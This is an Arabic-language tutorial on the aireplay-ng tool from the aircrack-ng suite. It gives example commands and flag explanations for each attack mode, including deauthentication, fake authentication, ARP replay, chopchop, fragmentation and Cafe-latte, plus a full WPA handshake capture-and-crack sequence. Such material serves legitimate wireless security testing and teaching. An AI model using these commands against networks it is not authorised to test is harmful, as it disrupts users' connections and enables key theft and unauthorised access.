

Aireplay-ng

تتمثل الوظيفة الأساسية في توليد حركة مرور لاستخدامها لاحقًا في أداة **aircrack-ng** لفك تشفير مفاتيح WEP و WPA-PSK. توجد هجمات مختلفة يمكن أن تتسبب في إلغاء المصادقة بهدف التقاط بيانات مصادقة WPA، وعمليات مصادقة وهمية، وإعادة تشغيل الحزم التفاعلية، وحقن طلبات ARP مُصممة يدويًا، وإعادة حقن طلبات ARP. باستخدام أداة **packetforge-ng**، يُمكن إنشاء إطارات بيانات عشوائية

استخدام الهجمات

وهي تنفذ حاليًا عدة هجمات مختلفة:

1-Attack 0: **Deauthentication** (إلغاء المصادقة)

```
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```

تعني إلغاء المصادقة -0

- هو عدد طلبات قطع الاتصال المراد إرسالها (يمكنك إرسال عدة طلبات إذا رغبت)؛ 0 يعني إرسالها بشكل متواصل 1
- -a 00:14:6C:7E:40:80 هو عنوان MAC الخاص بنقطة الوصول
- -c 00:0F:B5:34:30:30 هو عنوان MAC هو العملاء جميع العملاء
- ath0 هو اسم الواجهة

التقاط عملية المصادقة WPA/WPA2 باستخدام Atheros

airmon-ng start ath0

```
airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w out ath0 (التبديل إلى وحدة تحكم أخرى)  
aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0  
aircrack-ng -w /path/to/dictionary out.cap
```

شرح ما سبق:

airodump-ng -c 6 --bssid 00:14:6C:7E:40:80 -w out ath0

حيث:

- هي القناة التي يجب الاستماع إليها 6-c - القناة
- -bssid 00:14:6C:7E:40:80 يحد من الحزم التي يتم جمعها إلى نقطة الوصول هذه
- -w out هو بادئة اسم الملف المراد كتابته
- ath0 هو اسم الواجهة

aireplay-ng -0 5 -a 00:14:6C:7E:40:80 -c 00:0F:B5:AB:CB:9D ath0

حيث:

- 0-0 تعني هجوم إلغاء المصادقة
- 5 هو عدد مجموعات حزم إلغاء المصادقة التي سيتم إرسالها
- -a 00:14:6C:7E:40:80 الخاص بنقطة الوصول MAC هو عنوان
- -c 00:0F:B5:AB:CB:9D الخاص بالعميل المراد إلغاء مصادقته MAC هو عنوان
- ath0 هو اسم الواجهة

• 2-Attack 1: [Fake authentication](#) (المصادقة المزيفة)

يُتيح لك هجوم المصادقة الوهمية تنفيذ نوعي مصادقة WEP (النظام المفتوح والمفتاح المشترك) بالإضافة إلى الاتصال بنقطة الوصول. يُفيد هذا الهجوم فقط عند الحاجة إلى عنوان MAC مرتبط في هجمات [aireplay-ng](#) المختلفة، وفي حال عدم وجود عميل مرتبط حاليًا. تجدر الإشارة إلى أن هجوم المصادقة الوهمية لا يُولد أي حزم ARP. لا يُمكن استخدام المصادقة الوهمية للمصادقة على نقاط الوصول WPA/WPA2 أو الاتصال بها

الاستخدام:

```
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:09:5B:EC:EE:F2 -y Sharedkeyxor
```

ath0

شرح ما سبق :

يعني مصادقة مزيفة 1-

• توقيت إعادة الارتباط 0 بالثنائي

• -e teddy هو اسم الشبكة اللاسلكية

• -a 00:14:6C:7E:40:80 نقطة الوصول MAC هو عنوان

• -h 00:09:5B:EC:EE:F2 الخاص ببطاقتنا MAC هو عنوان

يُستخدم هذا فقط لمصادقة المفتاح المشترك. PRGA الخاصة بـ XOR هو اسم الملف الذي يحتوي على بتات y sharedkeyxor. أما مصادقة النظام المفتوح، وهي الطريقة الشائعة، فلا تتطلب ذلك.

• -ath0 هو اسم واجهة الشبكة اللاسلكية

• 3-Attack 2: Interactive packet replay (إعادة تشغيل الحزم التفاعلية)

يُمكنك هذا الهجوم من اختيار حزمة بيانات مُحددة لإعادة تشغيلها (حقنها). يستطيع الهجوم الحصول على حزم البيانات لإعادة تشغيلها من مصدرين: الأول هو تدفق مباشر لحزم البيانات من بطاقة الشبكة اللاسلكية، والثاني هو ملف pcap. يُعد تنسيق pcap القياسي (Packet CAPture)، المرتبط بمكتبة <http://www.tcpdump.org> (libpcap) مُعترفًا به من قِبل مُعظم أدوات التقاط وتحليل حركة البيانات التجارية والمفتوحة المصدر. تُعد قراءة الملفات ميزةً غالبًا ما يتم تجاهلها في أداة aireplay-ng، حيث تُمكنك من قراءة حزم البيانات من جلسات التقاط أخرى، أو في كثير من الأحيان، تُنشئ هجمات مُختلفة ملفات pcap لإعادة استخدامها بسهولة. ومن الاستخدامات الشائعة قراءة ملف يحتوي على حزمة بيانات قمت بإنشائها باستخدام أداة **packetforge-ng**.

لذا فإن خيارات تصفية aireplay-ng التي نحتاجها لتحديد هذه الحزم هي:

• -b 00:14:6C:7E:40:80 الخاص بنقطة الوصول التي نهتم بها MAC يختار الحزم التي تحمل عنوان

• -d FF:FF:FF:FF:FF:FF يحدد الحزم ذات وجهة البث

• -t 1 يحدد الحزم التي تم ضبط علامة "إلى نظام التوزيع" عليها

• الاستخدام:

```
aireplay-ng -2 -b 00:14:6C:7E:40:80 -d FF:FF:FF:FF:FF:FF -t 1 ath0
```

تعني إعادة التشغيل التفاعلي 2-

- الخاص بنقطة الوصول التي نهتم بها MAC يختار الحزم التي تحمل عنوان `b 00:14:6C:7E:40:80`
- يحدد الحزم ذات وجهة البث `d FF:FF:FF:FF:FF:FF`
- يحدد الحزم التي تم ضبط علامة "إلى نظام التوزيع" عليها `t 1`
- هي الواجهة اللاسلكية `ath0`

• 4-Attack 3: ARP request replay attack (ARP هجوم إعادة تشغيل طلب)

يُعدّ هجوم إعادة إرسال طلب ARP الكلاسيكي الطريقة الأكثر فعالية لتوليد متجهات تهينة جديدة (IVs)، وهو يعمل بكفاءة عالية. يستمع البرنامج إلى حزمة ARP ثم يُعيد إرسالها إلى نقطة الوصول. وهذا بدوره يدفع نقطة الوصول إلى تكرار حزمة ARP بمتجه تهينة جديد. يُعيد البرنامج إرسال حزمة ARP نفسها مرارًا وتكرارًا. مع ذلك، تحتوي كل حزمة ARP تُعيد نقطة الوصول إرسالها على متجهات تهينة جديدة. تُتيح لك هذه المتجهات الجديدة تحديد مفتاح WEP.

الاستخدام:

```
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 ath0
```

شرح ما سبق:

القياسي ARP تعني إعادة تشغيل طلب 3-

• لنقطة الوصول MAC هو عنوان `b 00:13:10:30:24:9C`

• المصدر (إما عميل مرتبط أو من مصادقة مزيفة) MAC هو عنوان `h 00:11:22:33:44:55`

• هو اسم واجهة الشبكة اللاسلكية `ath0`

هناك طريقتان لإعادة تشغيل بروتوكول ARP الذي تم حقنه مسبقًا. الطريقة الأولى والأبسط هي استخدام نفس الأمر بالإضافة إلى الخيار "r-" لقراءة ملف الإخراج من آخر عملية إعادة تشغيل ناجحة لبروتوكول ARP.

```
aireplay-ng -3 -b 00:13:10:30:24:9C -h 00:11:22:33:44:55 -r replay_arp-0219-115508.cap ath0
```

• 5-Attack 4: [KoreK chopchop attack](#)

يُمكن لهذا الهجوم، عند نجاحه، فك تشفير حزمة بيانات WEP دون معرفة المفتاح. بل إنه قادر على اختراق WEP الديناميكي. لا يستعيد هذا الهجوم مفتاح WEP نفسه، بل يكشف النص الأصلي فقط. مع ذلك، فإن بعض نقاط الوصول ليست عرضة لهذا الهجوم. قد تبدو بعضها عرضة له في البداية، لكنها في الواقع تتجاهل حزم البيانات التي يقل حجمها عن 60 بايت. إذا تجاهلت نقطة الوصول حزمًا يقل حجمها عن 42 بايت، يحاول برنامج aireplay تخمين بقية البيانات المفقودة، طالما أن رؤوس الحزم قابلة للتنبؤ. إذا تم

التقاط حزمة IP، فإنه يتحقق أيضاً من صحة مجموع التحقق لرأس الحزمة بعد تخمين أجزائها المفقودة. يتطلب هذا الهجوم حزمة بيانات WEP واحدة على الأقل

• الاستخدام:

```
aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0
```

تعني هجوم التقطيع -4

- الخاص ببطاقتك إذا قمت بمصادقة وهمة MAC الخاص بالعميل المرتبط أو عنوان MAC هو عنوان -h 00:09:5B:EC:EE:F2
- لنقطة الوصول MAC هو عنوان -b 00:14:6C:7E:40:80
- هو اسم واجهة الشبكة اللاسلكية ath0

• 6-Attack 5: [Fragmentation attack](#)(التجزئة)

•

باختصار، يستخلص البرنامج كمية صغيرة من بيانات التشفير من الحزمة، ثم يحاول إرسال حزم ARP و/أو LLC ذات محتوى معروف إلى نقطة الوصول. إذا نجحت نقطة الوصول في إعادة إرسال الحزمة، فيمكن استخلاص كمية أكبر من معلومات التشفير منها. تتكرر هذه العملية عدة مرات حتى يتم الحصول على 1500 بايت من بيانات التشفير، أو أحياناً أقل من ذلك.

• الاستخدام:

```
• aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D ath0
```

• حيث:

- تعني تشغيل هجوم التجزئة -5
- لنقطة الوصول MAC هو عنوان -b 00:14:6C:7E:40:80
- المصدر للحزم المراد حقنها MAC هو عنوان -h 00:0F:B5:AB:CB:9D
- هو اسم الواجهة ath0

يمكن تطبيق المرشحات التالية اختياريًا

- -b bssid: عنوان MAC، نقطة الوصول
- -d dmac: عنوان MAC، الوجهة
- -s smac: عنوان MAC، المصدر
- -m len: الحد الأدنى لطول الحزمة
- -n len: أقصى طول للحزمة

- u type : عنصر تحكم الإطار، حقل النوع
- v sub: عنصر تحكم الإطار، حقل النوع الفرعي
- t tods: DS التحكم في الإطار، إلى بت
- f fromds: DS التحكم في الإطار، من بت
- w iswep: WEP التحكم في الإطار، بت

يمكن ضبط خيارات إعادة التشغيل التالية اختياريًا

- k IP: الوجهة في أجزاء - القيمة الافتراضية هي 255.255.255.255 IP تحديد عنوان
- l IP: المصدر في أجزاء - القيمة الافتراضية هي 255.255.255.255 IP تحديد عنوان

• 7-Attack 6: Cafe-latte attack:

يُمكنك هجوم "كافيه لاتيه" من الحصول على مفتاح WEP من نظام العميل. باختصار، يتم ذلك عن طريق التقاط حزمة ARP من العميل، ومعالجتها، ثم إعادة إرسالها إليه. يقوم العميل بدوره بإنشاء حزم بيانات يمكن التقاطها باستخدام أداة [airodump-ng](#). بعد ذلك، يمكن استخدام أداة [aircrack-ng](#) لتحديد مفتاح WEP.

الاستخدام:

```
aireplay-ng -6 -h 00:09:5B:EC:EE:F2 -b 00:13:10:30:24:9C -D rausb0
```

-6 Cafe-latte attack تعني هجوم

- h 00:09:5B:EC:EE:F2 هو عنوان MAC الخاص ببطاقتنا
- b 00:13:10:30:24:9C هو عنوان MAC الخاص بنقطة الوصول (أي عنوان).
- إلى تعطيل خاصية الكشف عن نقاط الوصول -D يؤدي الخيار.
- rausb0 هو اسم واجهة الشبكة اللاسلكية

• 8-Attack 7: Client-oriented fragmentation attack (التجزئة الموجه نحو العميل):

الاستخدام

```
aireplay-ng -7 -h 00:09:5B:EC:EE:F2 -D rausb0
```

- تعني هجوم هيرتي 7-
- الخاص ببطاقتنا MAC هو عنوان 00:09:5B:EC:EE:F2-h
- إلى تعطيل خاصية الكشف عن نقاط الوصول D- يؤدي الخيار.
- هو اسم واجهة الشبكة اللاسلكية rausb0

• 9-Attack 8: WPA Migration Mode

الشرح طويل ولهذا سنذكر الامر فقط والذي يشتي يتعمق اكثر برسله ملزمه فيها شرح بتفصيل

```
aireplay-ng -1 0 -e migrate -a 00:26:0B:2A:BA:40 -h 00:1f:3c:4e:88:46 mon0
```

- يعني مصادقة مزيفة 1-
- توقيت إعادة الارتباط 0 بالتواني
- هو اسم الشبكة اللاسلكية -e migrate
- لنقطة الوصول MAC هو عنوان 00:26:0B:2A:BA:40-a
- الخاص ببطاقتنا MAC هو عنوان 00:1f:3c:4e:88:46-h
- هو اسم واجهة الشبكة اللاسلكية mon0

10-Attack 9: Injection test(اختبار الحقن)

الشرح طويل ولهذا سنذكر الامر فقط والذي يشتي يتعمق اكثر برسله ملزمه فيها شرح بتفصيل

اختبارات الهجوم

كنقطة "i-" يتطلب هذا الاختبار وجود بطاقتي اتصال لاسلكي في وضع المراقبة. وتعمل البطاقة المحددة بواسطة وصول.

الاستخدام

```
aireplay-ng -9 -e teddy -a 00:de:ad:ca:fe:00 -i wlan1 wlan0
```

- تعني اختبار الحقن. الصيغة الكاملة هي - اختبار 9-
- هذا اختياري. (SSID) هو اسم الشبكة -e teddy
- هذا اختياري. (BSSID) لنقطة الوصول MAC هو عنوان 00:de:ad:ca:fe:00 ath0-a

لتحديد نوع الهجمات التي تدعمها البطاقة الثانية. تعمل هذه الواجهة كنقطة وصول وتستقبل الحزم. هذا **wlan1-i** يُستخدم الخيار.

متبوعاً برقم المنفذ. تُستخدم هذه الواجهة لإرسال الحزم. على سبيل **airserv-ng** الخاص بـ **IP** هو اسم الواجهة أو عنوان **wlan0**.
المثال: **127.0.0.1:666**

•

نظرة عامة على الاستخدام:

<خيارات> <واجهة إعادة التشغيل> **aireplay-ng**

بالنسبة لجميع الهجمات باستثناء هجمات قطع الاتصال والمصادقة المزيفة، يمكننا استخدام المرشحات التالية لتحديد الحزم التي ستعرض للهجوم المحدد. الخيار الأكثر شيوعاً هو **"b"** لاختيار نقطة وصول معينة. في الاستخدام العادي، يُستخدم **"b"** فقط.

خيارات التصفية:

- **-b bssid**: نقطة الوصول، **MAC** عنوان
- **-d dmac**: الوجهة، **MAC** عنوان
- **-s smac**: المصدر، **MAC** عنوان
- **-m len**: الحد الأدنى لطول الحزمة
- **-n len**: أقصى طول للحزمة
- **-u type**: عنصر تحكم الإطار، حقل النوع
- **-v subt**: عنصر تحكم الإطار، حقل النوع الفرعي
- **-t tods**: **DS** التحكم في الإطار، إلى بت
- **-f fromds**: **DS** التحكم في الإطار، من بت
- **-w iswep**: **WEP** التحكم في الإطار، بت

عند إعادة إرسال (حقن) الحزم، تُطبق الخيارات التالية. ملاحظة: بعض الخيارات قد لا تكون مناسبة لكل هجوم. تُقدّم وثائق الهجوم المُحدّدة أمثلة على الخيارات المناسبة

خيارات إعادة التشغيل:

- **-x nbpps**: عدد الحزم في الثانية
- **-p fctrl**: تعيين كلمة التحكم في الإطار (سداسي عشري)
- **-a bssid**: لنقطة الوصول **MAC** تعيين عنوان
- **-c dmac**: الوجهة **MAC** تعيين عنوان

•-h smac: المصدر MAC تعيين عنوان

•-e essid: هذا الخيار (SSID) في حالة هجوم المصادقة الوهمية أو اختبار الحقن، يتم تحديد اسم شبكة نقطة الوصول المستهدفة: اختياري عندما لا يكون اسم الشبكة مخفياً.

•-z FromDS: هجوم إعادة التشغيل: حقن حزم

•-g: تغيير حجم المخزن المؤقت الحلقي (الافتراضي: 8) - قيمة

•-k IP: الوجهة على أجزاء IP تعيين عنوان

•-l IP: المصدر في أجزاء IP تعيين عنوان

•-o npckts: (1-) عدد الحزم لكل دفعة

•-q: ثنائية: عدد الثواني بين إشارات البقاء على قيد الحياة (1)

•-y prga : keystream for shared key auth

•-B: اختبار معدل البت (ينطبق فقط على وضع الاختبار): "bittest" أو "B"

يعطل خاصية اكتشاف نقاط الوصول. لن تعمل بعض الأوضاع إذا لم يتم استقبال إشارة نقطة الوصول. يؤدي هذا: "D" الخيار. الخيار إلى تعطيل هذه الخاصية.

يختار أول حزمة بيانات مطابقة. في وضع الاختبار، يتحقق فقط من الحقن الأساسي ويتخطى جميع: "fast" أو "F" الخيار. الاختبارات الأخرى.

يؤدي هذا إلى RTC. قد تواجه بعض الأنظمة حالات توقف أو مشاكل أخرى مع /dev/rtc إلى تعطيل استخدام "R" يؤدي الخيار. تعطيل الاستخدام.

أنماط الهجوم (لا يزال من الممكن استخدام الأرقام):

•-deauth count : (0-) إلغاء مصادقة محطة واحدة أو جميع المحطات

•-fakeauth: (1-) مصادقة وهمية مع نقطة الوصول - تأخير

•-2: تفاعلي: اختيار الإطار التفاعلي (2)

•-arpplay: القياسي (3) ARP إعادة تشغيل طلب

•-chopchop: WEP فك تشفير/تقسيم حزمة (4)

•-fragment: يُنشئ سلسلة مفاتيح صالحة (5)

•-9: اختبار: اختبار الحقن (9)

التجزئة مقابل التقطيع

فيما يلي الفروقات بين هجمات التجزئة وهجمات التقطيع

التجزئة

الإيجابيات:

- عادةً ما يتم الحصول على طول الحزمة الكامل البالغ **1500** بايت باستخدام عملية XOR. هذا يعني أنه يمكنك لاحقًا إنشاء أي حجم حزمة تقريبًا. حتى في الحالات التي يتم فيها جمع أقل من **1500** بايت، يكون هناك ما يكفي لإنشاء طلبات ARP.
- قد ينجح الأمر حيث لا ينجح التقطيع.
- إنها سريعة للغاية. وتنتج سلسلة عمليات XOR بسرعة فائقة عند نجاحها.

السلبيات:

- يلزم توفير معلومات إضافية لتشغيله، مثل عنوان IP. غالبًا ما يمكن تخمين هذا العنوان. والأفضل من ذلك، أن برنامج **aireplay-ng** يفترض عنواني IP المصدر والوجهة **255.255.255.255** في حال عدم تحديد أي عنوان. سيعمل هذا بنجاح على معظم نقاط الوصول إن لم يكن جميعها. لذا، يُعد هذا عيبًا محدودًا للغاية.
- تعتمد عملية إعداد الهجوم بشكل كبير على برامج تشغيل الجهاز. على سبيل المثال، لا يقوم برنامج **Atheros** بإنشاء الحزم الصحيحة إلا إذا تم ضبط بطاقة الشبكة اللاسلكية على عنوان MAC الذي تقوم بانتحاله.
- يجب أن تكون أقرب جسديًا إلى نقطة الوصول لأنه إذا فُقدت أي حزم بيانات، فإن الهجوم سيفشل.
- سيفشل الهجوم على نقاط الوصول التي لا تتعامل بشكل صحيح مع الحزم المجزأة.